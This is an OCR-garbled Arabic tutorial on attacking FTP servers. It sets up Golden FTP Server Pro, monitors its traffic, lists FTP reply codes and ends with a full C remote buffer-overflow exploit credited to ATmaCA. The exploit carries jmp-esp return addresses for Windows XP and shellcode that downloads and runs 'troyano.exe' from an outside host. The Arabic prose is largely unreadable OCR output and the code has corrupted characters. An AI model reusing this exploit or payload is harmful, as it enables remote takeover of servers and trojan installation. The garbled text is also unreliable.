FTP dsSsisp oy ds g

JAAS : <l
Jaas1001@hotmail.com

caale
http://www.arabteam2000.com/BookLib/BookList.asp?s=1
http://www.123lib.cjb.net

e 4l damy 5 oo WD)

el JS 5 LA zmal g Ol sl 5 SN sl 1 (5 ) shaal aga & saia sall 138 yiiay
IS ale IS5 el (pel 5 ISuall dariiall daa pll

L) 481 ye sl o Capatin g ¢ ISl Aa B e e ST (38l 5 Jaai
8 (e apai o Ll atie e, s packetMon s SockMon Jie & sl zal
,lalall Ja5 g alalasl) 48y 3l 5 <Y 58 6355l e dadiia (5 AT gl se 8 JAdiag
Dot Tl Lal ST s <Y oS g5 sl aal Al oy fasia g

FTP Clild) Jii J S 55

smpt ,pop3 ol Jil ) Y S5y

http sl Cladin ol g2 5 &Y S5y 0 1l

191681 i) (3 5 Leial le Abial Al s Lela 3 5 Lina o dia o (oo Aasie 33l

L el T aSle ki L

: ftp JsSsisn

3¢ i) J85 e Jsusadl a5 3S0EN e 53 g sall ciladal) aaf (g
Ol o) e s )lae sy bl Jail Y)Y ddiall aadig

A0l e until) Sleal) b amrs bl a g ANy ardidll Sl b Labaal


mailto:Jaas1001@hotmail.com

Oe 3oke 19 A ) Lalil (e Y S g5 ) el (e ftp JsS 5350 inas
(recv ssend & aexdival AP J)sa) )l Juitia) 5 alla Jlu )
AU el Aladials o s g ¢ landl Bl Unle S 5i g 5l 138 Jae agii S

CALL).\M\M}‘QM\dﬂ.’d}j}y\u#‘}A}em\@bf}\dﬁbﬁd\c&\b)ﬁy}\
ftp <l run & start 4l e cee gugadl aUas 82y g

Golden FTP Server Pro el ()l 138 (8 & yis) g ¢y pall ald j Wil
f_quSCuwl_a}S:\S\/~~T_\; yra AAM}‘LJ\JS\L;GL\;E

http://www.sharemation.com/natirus26/Golden-FTP-server-PRO-
setup[www.sherman.blogfa.com].exe

YY) ddiall g g liaidl ddia C_m gimﬁgﬁm:"} YRttt f‘3 GAUJJ\ CROAI a0

i e S0y Jleadl 8 deaiiuall 2Ll aals ¢ Sl fp s e Ui 38 0 55 gy

YY) ddiall
5 ) seall 8 LS
RE
File ©ptions Process  \iew Help |
| & =% —
Proce... ¢ | Protocol | Local Address | Remote Address | State
1 alg.exe:2000 TCF 127.0.01:1028 UUEIEI'D LISTEMING

n Address State
a:a LISTENING
a:a LISTENING

oreig
B.@.
B.8.

F
a.
.

ftp J 2o Daeady Liad o) 2ays
@uﬁd@:@_},gﬂgﬁummu“ Sockmon < a5 4l Ads el Jais

138 8 3 1ol aladiuls a gl a sl 5 ¢ A3l e fag of e J oS35 50 danypacl @
Jadll



AlaAtLY) Aleu LSl g 4 geda yue daly el 31aY) 338 A «««SockMon5 =y

http://www.cnhnasm.com/upload/down/sockmon50.exe

Al A yall Ja) o5 elie calla 13) Slead) Qi aefeciilly o g5 310Y) J 55 e 2aa

eIl 4ali i saa3 Golden FTP Server Pro sas ftp s s s a8 (Y1

(e sl 45840) 481 el Loy e Jaralls o8 ;SockMONS 31231 Jad @lld aay
33Ul 330 Glly aay

ftp <iSis run & start 4aid (e ftp gebi d 4a 5

DY OYA e ¢l Jaa] el pall Jriiile asy g
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0 17:10:15 1400 fip.exe 1848 TCP 0.0.0.0 i 0.0.0.0
1 17:10:15 1400 fip.exe 1848 TCP 0.0.0.0 1034 0.0.0.0
2 171015 1304 | GFTPpra.exe 196 TCP 0.0.0.0 21 0.0.0.0
3 1710:15 1400 fip.exe 1848 TCP 0.0.0.0 1034 127.0.0.1
4 17:10:15 1400 fip.exe 1848  TCP 127.0.0.1 1034 127.0.01
5 1710:15 1304  GFTPpro.exe 236 TCP 127.0.0.1 21 127.0.01
B 17:10:29 1400 fp.exe 1848 TCP 127.0.0.1 1034 127.0.01
7 171029 1304 236 TCR 127.0.0.1 21 127.0.0.1
B 17:10:28 1304  GFTPpraexe B TCP 127.0.0.1 21 127.0.01
] 17:10:28 1400 fip.exe 184 TCP 127.0.0.1 1034 127.0.01
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WINDOWS' system32' cmd.exe - ftp ;lglﬂ

Microsoft Windows HP [Version 5.1.20881
(C» Copyright 1985-2881 Microsoft Corp.

331 Uszser name okay, need password.

C:xDocuments and Settings~JAAS>ftp
ftp> open 127.8.8.1 21

Connected to 127.8.8.1.

228 Golden FTP Server PRO ready »2.52
User <(127.8.8.1:<(none?>>: JAAS

331 User name okay. need password.
Password: _
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119=Terminal not available, will try mailbox.

120=Service ready in nnn minutes.

125=Data connection already open; transfer starting.

225=Data connection open; no transfer in progress.

150=File status okay; about to open data connection.

151=User not local; will forward to user@ host.

152=User unknown; mail will be forwarded by the operator.

250=Requested file action okay, completed.

200=Command okay.

211=System status, or system help reply.

212=Directory status.

213=File status.

214=Help message.

220=Service ready for new user.

221=Service closing Telnet connection.

226=Closing data connection; requested file action successful (for
example, file transfer or file abort).

227=Entering passive mode.

230=User logged in; proceed.

331=User name okay; need password.

332=Need account for login.

350=Requested file action pending further information.

450=Requested file action not taken: file unavailable (for example,
file busy).

421=Service not available, closing Telnet connection. This can be
a reply to any command if the service must shut down.

425=Cannot open data connection.

426=Connection closed; transfer aborted.
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#include <stdlib.h>
#include <windows.h>
#include <stdio.h>
#include <winsock.h>

#pragma comment(lib, "ws2_32.lib")

char userreq[] =

"USER "
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAT
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAT
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAT
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAT
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAT
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAT
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAT
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAT,
char *target[]= //return addr

{
"\XFC\x18\xD7\x77", IWinXp Spl Eng - jmp esp addr




"\XBF\XAC\XDA\X77" /[/[WinXp Sp2 Eng - jmp esp addr
%

char shellcode[] =

"\XEB\x5D\X5F\x8B\xF7\x80\x3F"

"\x08\x75\x03\x80\x37\x08\x4 7\x80\x3F\x01\x 75\xF2\x33\xC9\xB5\x05\x8B\x FE\x 2F
"\Xx8B\XEF\xB5\x03\x2B\xF9\x8B\xD7\xB2\x7C\x8B\XxE2\x89\x75\xFC\xB5\x40\xC1\;
"\X89\x4D\xF8\x8D\x49\x3C\x8B\x09\x03\x4D\xF8\x8D\x49\x7F\x41\x8B\x09\x03\x+
"\x8B\xD9\x8B\x49\x0C\x03\x4D\xF8\x81\x39\x4B\x45\x52\x4E\x74\x07\x8D\x5B\x:
"\XCB\XEB\XEB\x33\XxC0O\x53\xEB\x02\xEB\x7C\x8B\x33\x03\x75\xF8\x80\x7E\x03\
"\X14\x8B\X3E\X03\x7D\xF8\x47\x47\x56\x8B\x75\xFC\x33\xC9\xB1\XxOD\xF3\xA6\x!
"\x06\x40\x8D\x 76\x04\xEB\XEO\x5B\x8B\x5B\x10\x03\x5D\xF8\xC1\xE0\x02\x03\xI
"\X03\x89\x45\xF4\x8B\x5D\xFC\x8D\x5B\x0D\x53\xFF\xD0\x89\x45\xFO0\x8D\x5B\x
"\X8B\x45\xF4\XxFF\xD0\x89\x45\xEC\x8B\x45\xF0\x8B\x40\x3C\x03\x45\xF0\x8B\x:
"\X03\x45\xF0\x89\x45\xE8\x8B\x40\x20\x03\x45\xFO\x8D\x 7B\x08\x33\xD2\x57\x8I
"\X03\x75\XFO\Xx33\xC9\XxB1\XxOF\xF3\xA6\x74\xOB\Xx5F\XEB\x02\XxEB\x7A\x42\x8D\x:
"\XEB\XE7\x8B\x5D\XE8\x33\xC9\x53\x5F\x8B\x7F\x24\x03\x7D\XxFO\xD1\xE2\x03\x
"\Xx8B\XOF\x8B\x5B\x1C\x03\x5D\XFO\XC 1\XE1\x02\x03\xD9\x8B\x1B\x03\x5D\xFO\x
"\XE4\x8B\x55\xFC\x8D\x52\x2D\x8D\x7D\XE0\x33\xC9\xB1\x06\x51\x52\x52\x8B \x
"\X56\XFC\XFF\XxD3\XxFD\XAB\X5A\X59\x38\x2A\x74\x03\x42\XxEB\xF9\x42\xE2\xE8\x
"\X51\x52\x52\x8B\x75\XEC\x56\xFC\XxFF\xD3\xFD\XAB\X5A\x59\x38\x2A\x74\x03\x
"\XFO\x42\XE2\XE8\XFC\x52\x33\xD2\xB6\x1F\XC1\xE2\x08\x52\x33\xD2\xEB\x02\x
"\x52\x8B\x45\xD8\xFF\xD0\x5B\x89\x45\xB8\x33\xD2\x52\x52\x52\x52\x53\x3B\x4
"\XFF\xD0\x89\x45\xB4\x8D\x7B\x08\x33\xD2\x52\xB6\x80\XC1\XE2\x10\x52\x33\x[
"\X52\x57\x50\x8B\x45\xC4\xFF\xD0\x89\x45\xB0O\x8D\x55\xAC\x52\x33\xD2\xB6\x.
"\XE2\x08\x52\x8B\x4D\xB8\x51\x50\x8B\x45\x CO\xFF\xD0\x8B\x4D\xB0\x51\x8B\x
"\XFF\xD0\x8B\x4D\xB4\x51\x8B\x45\xBC\xFF\xD0\x33\xD2\x52\x43\x43\x53\x8B\x
"\XFF\xD0\x89\x45\xA8\x8B\x7D\XAC\x57\x8B\x55\xB8\x52\x50\x8B\x45\xD C\xFF\»
"\X55\XA8\XEB\x02\XEB\x17\x52\x8B\x45\xD4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xI
"\XD0\x33\xD2\x52\x8B\x45\xC C\xFF\xDO\XE8\XOD\XFE\XFF\xFF\x4C\x6 F\x61\x64\
"\X62\X72\Xx61\x72\x79\x41\x08\x4B\x45\x52\x4E\x45\x4C\x33\x32\x08\x57\x49\x4E
"\X4E\x45\x54\x08\x47\x65\x74\x50\x72\x6 F\x63\x41\x64\x64\x 7 2\x65\x 7 3\x73\x08\
"\X6C\x63\x72\x65\x61\x74\X08\X5F\X6C\X77\x72\x69\x74\x65\x08\x4 7\Xx6 C\Xx6 F\X62
"\X6C\x41\x6C\x6C\X6F\x63\Xx08\X5F\X6C\x63\Xx6C\x6 F\x73\x65\x08\x57\Xx69\Xx6E\x4
"\X65\x63\Xx08\x45\x78\x69\x74\x50\x72\Xx6 F\X63\x65\x7 3\x73\X08\x49\X6 E\X7 4\x65\
"\X6E\X65\X74\x4F\x70\x65\X6E\x41\Xx08\x49\X6 E\x74\x65\Xx72\X6E\Xx65\x74\x4F\x7(
"\X6E\X55\x72\X6C\x41\Xx08\x49\X6 E\x74\x65\x72\X6 E\Xx65\x74\x52\X65\x61\x64\x46
"\X6C\X65\X08\X49\X6E\X74\x65\x 7 2\X6 E\Xx65\x 74\x4 3\X6 C\Xx6 F\Xx73\x65\x48\x61\x6E
"\X6C\x65\x08\x 72\x08\x78\x2E\x65\x78\x65\x08"
"http://www.host.com/troyano.exe"

"\x08\x01";

char nops|] =



http://www.host.com/troyano.exe

"\X90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\X90\x90\x90\x90\x90\x90\x90\x90";

char passreq[] =
"PASS \r\n";

void main(int argc, char *argv[])
{
WSADATA wsaData,
WORD wVersionRequested;
struct hostent *pTarget;
struct sockaddr_in sock;
SOCKET mysocket;

char rec[1024];

if (argc < 3)
{
printf("\r\nGolden FTP Server Pro Remote Buffer Overflow Exploit\r\n",argv[0]);
printf("Bug Discovered by Reed Arvin (http://reedarvin.thearvins.com)\r\n");
printf("Exploit coded By ATmaCA\r\n");

printf("Web: atmacasoft.com && spyinstructors.com\r\n");

printf("Credit to kozan and metasploit\r\n");

printf("Usage:\r\nexploit <targetOs> <targetlp>\r\n\r\n",argv[0]);
printf("Targets:\n");

printf("1 - WinXP SP1 english\n");

printf("2 - WinXP SP2 english\n");

printf("Example:exploit 2 127.0.0.1\n");

return;

}

int targetnum = atoi(argv[1]) - 1;

char *evilbuf = (char*)malloc(sizeof(userreq)+sizeof(shellcode)+sizeof(nops)
+sizeof(passreq)+7);

strcpy(evilbuf,userreq);
strcat(evilbuf,target[targetnumy]);
strcat(evilbuf,nops);
strcat(evilbuf,shellcode);
strcat(evilbuf,"\r\n");
strcat(evilbuf,passreq);
/lprintf("%s",evilbuf);



http://reedarvin.thearvins.com

wVersionRequested = MAKEWORD(1, 1);
if (WSAStartup(wVersionRequested, &wsaData) < 0) return;

mysocket = socket(AF_INET, SOCK_STREAM, 0);
if(mysocket==INVALID_SOCKET){

printf("Socket error\r\n");

exit(1);

}

printf("Resolving Hostnames...\n");

If ((pTarget = gethostbyname(argv([2])) == NULL){
printf("Resolve of %s failed\n", argv[1]);

exit(1);

}

memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
sock.sin_family = AF_INET;
sock.sin_port = htons(21);

printf("Connecting...\n");

if ( (connect(mysocket, (struct sockaddr *)&sock, sizeof (sock) ))){
printf("Couldn't connect to host.\n");

exit(1);

}

printf("Connected!...\n");

printf("Waiting for welcome message...\n");
Sleep(10);

recv(mysocket,rec,1024,0);

printf("Sending evil request...\n");

if (send(mysocket,evilbuf, strlen(evilbuf)+1, 0) == -1){
printf("Error Sending evil request.\r\n");
closesocket(mysocket);

exit(1);

}

Sleep(10);
printf("Success.\n");
closesocket(mysocket);




WSACleanup();
}
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